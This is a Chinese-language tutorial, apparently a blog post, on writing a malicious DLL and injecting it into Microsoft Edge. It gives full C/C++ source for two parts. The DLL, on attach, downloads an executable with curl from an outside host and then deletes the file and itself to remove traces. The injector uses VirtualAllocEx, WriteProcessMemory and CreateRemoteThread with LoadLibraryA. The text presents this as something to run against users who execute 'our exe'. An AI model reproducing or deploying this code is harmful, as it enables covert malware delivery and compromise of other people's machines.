首先看一下成果
注入到Microsoft edge
恶意dll编写
首先用vstuido新建一个动态链接库
这里只用把dllmain.cpp写了就可以build项目
#include "pch.h"
#include<windows.h>//Createhread需要用上
#include<stdlib.h>//System命令
void DownloadVirus() {
system("curl http://baidu.com/virul.exe -o a.exe");
}
void Delete() {
system('del a.exe");
system("del dll.dll");//这里可以把我们的痕迹删掉
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)DownloadVirus,NULL, 0, NULL);//一旦被线程附上就开始下载病毒
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Delete,NULL, 0, NULL);//一旦取消附上就可以删掉哼唧,当然也可以在Download里面删掉,这里给个框架
break;
}
return TRUE;
}
一旦恶意dll注入后,下载的东西目录为附加进程可执行文件的同一个目录
dll注入代码
#include<windows.h>
#include<stdio.h>
#include<tlhelp32.h>
#include<string.h>
DWORD GetProcessId(WCHAR* ProcessName) {
HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapShot == INVALID_HANDLE_VALUE) {
printf("快照创建失败: %d\n", GetLastError());
return FALSE;
}
PROCESSENTRY32 Process32;
ZeroMemory(&Process32, sizeof(Process32));
Process32.dwSize = sizeof(Process32);
DWORD ProcessId = 0;
Process32First(hSnapShot, &Process32);
do {
if (lstrcmpW(Process32.szExeFile,ProcessName) == 0) {
ProcessId = Process32.th32ProcessID;
break;
}
} while (Process32Next(hSnapShot, &Process32));
CloseHandle(hSnapShot);
return ProcessId;
}
HANDLE GetProcessHandle(WCHAR* ProcessName) {
DWORD ProcessId = GetProcessId(ProcessName);
if (ProcessId == 0) {
printf("未获取到相关的进程");
return FALSE;
}
else {
return OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);
}
}
int main() {
WCHAR process_name [] = L"msedge.exe";
//这里dll路径最好使用完整的
CHAR dll_name[] = "A.dll";
HANDLE hProcess = GetProcessHandle(process_name);
if (!hProcess) {
printf("进程获取失败:%d\n", GetLastError());
return 0;
}
LPVOID lpAddress=VirtualAllocEx(hProcess,NULL,1+strlen(dll_name), MEM_COMMIT, PAGE_READWRITE);
if (!lpAddress) {
printf("内存分配失败:%d", GetLastError());
CloseHandle(hProcess);
return 0;
}
if (!WriteProcessMemory(hProcess, lpAddress, dll_name, 1 + strlen(dll_name), NULL) ) {
printf("写入失败:%d", GetLastError());
CloseHandle(hProcess);
return 0;
}
HMODULE hModule = GetModuleHandleA("kernel32.dll");
if (!hModule) {
printf("获取模块失败:%d", GetLastError());
CloseHandle(hProcess);
return 0;
}
LPVOID ThreadProc=(LPVOID) GetProcAddress(hModule, "LoadLibraryA");
if (!ThreadProc) {
printf("获取函数地址失败:%d", GetLastError());
CloseHandle(hProcess);
CloseHandle(hModule);
return 0;
}
CloseHandle(hModule);
printf("%x", ThreadProc);
HANDLE hThread=CreateRemoteThread(hProcess,NULL,0,(LPTHREAD_START_ROUTINE)ThreadProc,lpAddress,0,NULL);
if (hThread == NULL) {
printf("线程创建失败: %s\n", GetLastError());
CloseHandle(hProcess);
return 0;
}
CloseHandle(hProcess);
CloseHandle(hThread);
return 0;
}
一旦用户执行我们的exe,附加的dll会注入到正常的程序里,然后我们可以在 dll里面执行一些后续操作
msf里面也有进程迁移的功能,但不知道他是怎么实现的,这是我想的可以的一种实现方法
当然如果不知道dll具体保存路径,我们可以使用系统命令把dll移动到以下操作系统会自动搜索dll路径,比如说项目路径,可执行文件目录,以及c:\windows\system32下